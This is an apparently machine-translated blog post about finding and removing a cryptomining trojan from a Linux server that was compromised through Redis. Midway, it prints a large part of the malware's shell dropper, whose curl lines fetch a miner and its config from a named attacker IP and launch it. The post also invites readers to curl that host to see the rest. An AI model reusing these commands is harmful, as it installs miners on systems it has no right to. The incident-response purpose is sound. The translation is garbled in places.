Shulou(Shulou.com)05/31 Report--

This article will explain in detail how the server was implanted into the mining Trojan horse cpu soared by 200%. The content of the article is of high quality, so the editor will share it for you as a reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.

Background

The online server uses a certain information cloud, cheerfully running programs such as Tomcat,MySQL,MongoDB,ActiveMQ. Suddenly a piece of bad news came from the front: the website is inaccessible.

I was in charge of this project. I immediately turned on the server at a speed of 150 +. I saw that Tomcat hung up, then restarted naturally, was directly killed in the startup process, and tried the database again, but also failed. I tried many times or even restarted the machine without success. I typed top of the mechanism, and the following appears:

Who runs this program? No matter three, seven, one, one, kill it first, because it is the culprit that Tomcat and other programs cannot start. However, it is of no use. After a while, I will see that thing come out again and occupy cpu. Suspicion is a regular task:

What the heck is it a picture? I visited immediately:

It's awkward, but I knew it wasn't that simple. It must be just a disguise. Crul used to be the following script, and the process was digging mines:

#! / bin/sh

Pkill-9 142.4.124.164

Pkill-9 192.99.56.117

Pkill-9 jva

Pkill-f. / atd

Pkill-f / tmp/wa/httpd.conf

Pkill-f 108.61.186.224

Pkill-f 128.199.86.57

Pkill-f 67.231.243.10

Pkill-f 142.4.124.164

Pkill-f 192.99.56.117

Pkill-f 45.76.102.45

Pkill-f AnXqV.yam

Pkill-f BI5zj

Pkill-f Carbon

Pkill-f Duck.sh

Pkill-f Guard.sh

... Intermediate ellipsis

/ sbin/sysctl-w vm.nr_hugepages= `$ num`

Nohup. / suppoie-c config.json-t `echo $cores` > / dev/null &

Fi

Ps-fe | grep-w suppoie | grep-v grep

If [$?-eq 0]

Then

Pwd

Else

Curl-o / var/tmp/config.json http://192.99.142.235:8220/1.json

Curl-o / var/tmp/suppoie http://192.99.142.235:8220/rig1

Chmod 777 / var/tmp/suppoie

Cd / var/tmp

Proc= `grep-c ^ processor / proc/ cpuinfo`

Cores=$ ($proc+1) / 2))

Num=$ (($cores*3))

/ sbin/sysctl-w vm.nr_hugepages= `$ num`

Nohup. / suppoie-c config.json-t `echo $cores` > / dev/null &

Sleep 3

Fi

If [$?-eq 0]

Then

Pwd

Else

Curl-o / var/tmp/config.json http://192.99.142.235:8220/1.json

Curl-o / var/tmp/suppoie http://192.99.142.235:8220/rig2

Chmod 777 / var/tmp/suppoie

Cd / var/tmp

Proc= `grep-c ^ processor / proc/ cpuinfo`

Cores=$ ($proc+1) / 2))

Num=$ (($cores*3))

/ sbin/sysctl-w vm.nr_hugepages= `$ num`

Nohup. / suppoie-c config.json-t `echo $cores` > / dev/null &

Fi

Echo "runing."

Interested students want to view the complete source code above, and run the following instructions on the command line (regardless of operating system, convenient, safe and pollution-free):

Curl 192.99.142.235:8220/logo3.jpg

Now that you know it's a scheduled task, cancel it first and see who's running it:

Kill, find the storage directory:

Enter the temporary directory:

I found the configuration file, let's take a look at the contents:

Tiger body shock, found a lot of information ah, user is his server login user, the following is the password, but unfortunately encrypted, should not find each other. Forget it. I won't argue with you for the magnanimity. After killing these two files, check the top:

Solution.

When you find the parasitic directory, it is usually in tmp, and mine is in / var/tmp/. First kill the crontab, kill the process, and then delete the resulting files. Start Tomcat and other programs, and you are done!

Wait, wait,

Therefore, the above method treats the symptoms rather than the root of the problem, and I have done the following work:

Upgrade all software to the new version, fix the back door of redis, configure the bind option, limit the IP that can connect to the Redis server, and modify the default port 6379 of redis. Configure AUTH, set the password, and the password will be saved in clear text in the redis configuration file.

Modify all software default port numbers

Open ssh/authorized_keys and delete unrecognized keys

Delete unfamiliar accounts from the user list

Blocked his ip.

SSH logs in using the key and forbids the password to log in (this is usually the key of a person with operation and maintenance)

Trojan horse is caused by redis vulnerability:

The best way: mirror the host, find out the virus Trojan, and analyze the cause of the invasion. Check business programs, reinstall the system, fix vulnerabilities, and then redeploy the system.

On the server was implanted into the mining Trojan horse cpu soared 200% of the solution process is shared here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.